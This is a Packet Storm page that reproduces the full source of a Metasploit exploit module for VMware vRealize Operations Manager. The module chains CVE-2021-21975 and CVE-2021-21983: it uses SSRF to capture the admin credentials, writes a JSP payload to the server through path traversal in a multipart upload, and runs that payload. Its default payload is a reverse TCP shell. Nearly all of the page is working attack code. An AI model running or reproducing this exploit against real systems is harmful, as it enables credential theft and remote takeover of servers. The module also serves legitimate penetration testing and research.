what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution

VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution
Posted Apr 27, 2021
Authored by wvu, Egor Dimitrenko | Site metasploit.com

This Metasploit module exploits a pre-auth server-side request forgery (CVE-2021-21975) and post-auth file write (CVE-2021-21983) in VMware vRealize Operations Manager to leak admin creds and write/execute a JSP payload. CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate endpoint. Code execution occurs as the "admin" Unix user.

tags | exploit, code execution
systems | unix
advisories | CVE-2021-21975, CVE-2021-21983
SHA-256 | 8fb3fd3d2660db09b165a788ebbd4aab98bfde09593d01e190121efb5d69716d

VMware vRealize Operations Manager Server-Side Request Forgery / Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vRealize Operations (vROps) Manager SSRF RCE',
'Description' => %q{
This module exploits a pre-auth SSRF (CVE-2021-21975) and post-auth
file write (CVE-2021-21983) in VMware vRealize Operations Manager to
leak admin creds and write/execute a JSP payload.

CVE-2021-21975 affects the /casa/nodes/thumbprints endpoint, and
CVE-2021-21983 affects the /casa/private/config/slice/ha/certificate
endpoint. Code execution occurs as the "admin" Unix user.

The following vRealize Operations Manager versions are vulnerable:

* 7.0.0
* 7.5.0
* 8.0.0, 8.0.1
* 8.1.0, 8.1.1
* 8.2.0
* 8.3.0

Version 8.3.0 is not exploitable for creds and is therefore not
supported by this module. Tested against 8.0.1.
},
'Author' => [
'Egor Dimitrenko', # Discovery
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-21975'], # SSRF
['CVE', '2021-21983'], # File write
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0004.html'],
['URL', 'https://twitter.com/ptswarm/status/1376961747232382976'],
['URL', 'https://attackerkb.com/topics/51Vx3lNI7B/cve-2021-21975#rapid7-analysis']
],
'DisclosureDate' => '2021-03-30', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['vRealize Operations Manager < 8.3.0', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 8443,
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS, # /usr/lib/vmware-casa/casa-webapp/logs
ARTIFACTS_ON_DISK # /usr/lib/vmware-casa/casa-webapp/webapps/casa
]
},
'Stance' => Stance::Aggressive
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def setup
super

@creds = nil

print_status('Starting SSRF server...')
start_service
end

def check
leak_admin_creds ? CheckCode::Vulnerable : CheckCode::Safe
end

def exploit
return unless (@creds ||= leak_admin_creds)

write_jsp_payload
execute_jsp_payload
end

def leak_admin_creds
# "Comment out" trailing path using URI fragment syntax, ostensibly
ssrf_uri = "#{srvhost_addr}:#{srvport}#{get_resource}#"

print_status('Leaking admin creds via SSRF...')
vprint_status(ssrf_uri)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/casa/nodes/thumbprints'),
'ctype' => 'application/json',
'data' => [ssrf_uri].to_json
)

unless res&.code == 200 && res.get_json_document.dig(0, 'address') == ssrf_uri
print_error('Failed to send SSRF request')
return
end

unless @creds
print_error('Failed to leak admin creds')
return
end

print_good('Successfully leaked admin creds')
vprint_status("Authorization: #{@creds}")

@creds
end

def on_request_uri(cli, request)
print_status("#{cli.peerhost} connected to SSRF server!")
vprint_line(request.to_s)

@creds ||= request.headers['Authorization']
ensure
send_not_found(cli)
close_client(cli)
end

def write_jsp_payload
jsp_path = "/usr/lib/vmware-casa/casa-webapp/webapps/casa/#{jsp_filename}"

print_status('Writing JSP payload')
vprint_status(jsp_path)

multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
"../../../../..#{jsp_path}",
nil, # Content-Type
nil, # Content-Transfer-Encoding
'form-data; name="name"'
)
multipart_form.add_part(
payload.encoded,
nil, # Content-Type
nil, # Content-Transfer-Encoding
%(form-data; name="file"; filename="#{jsp_filename}")
)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/casa/private/config/slice/ha/certificate'),
'authorization' => @creds,
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
)

unless res&.code == 200
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
end

register_file_for_cleanup(jsp_path)

print_good('Successfully wrote JSP payload')
end

def execute_jsp_payload
jsp_uri = normalize_uri(target_uri.path, 'casa', jsp_filename)

print_status('Executing JSP payload')
vprint_status(full_uri(jsp_uri))

res = send_request_cgi(
'method' => 'GET',
'uri' => jsp_uri,
'authorization' => @creds
)

unless res&.code == 200
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
end

print_good('Successfully executed JSP payload')
end

def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close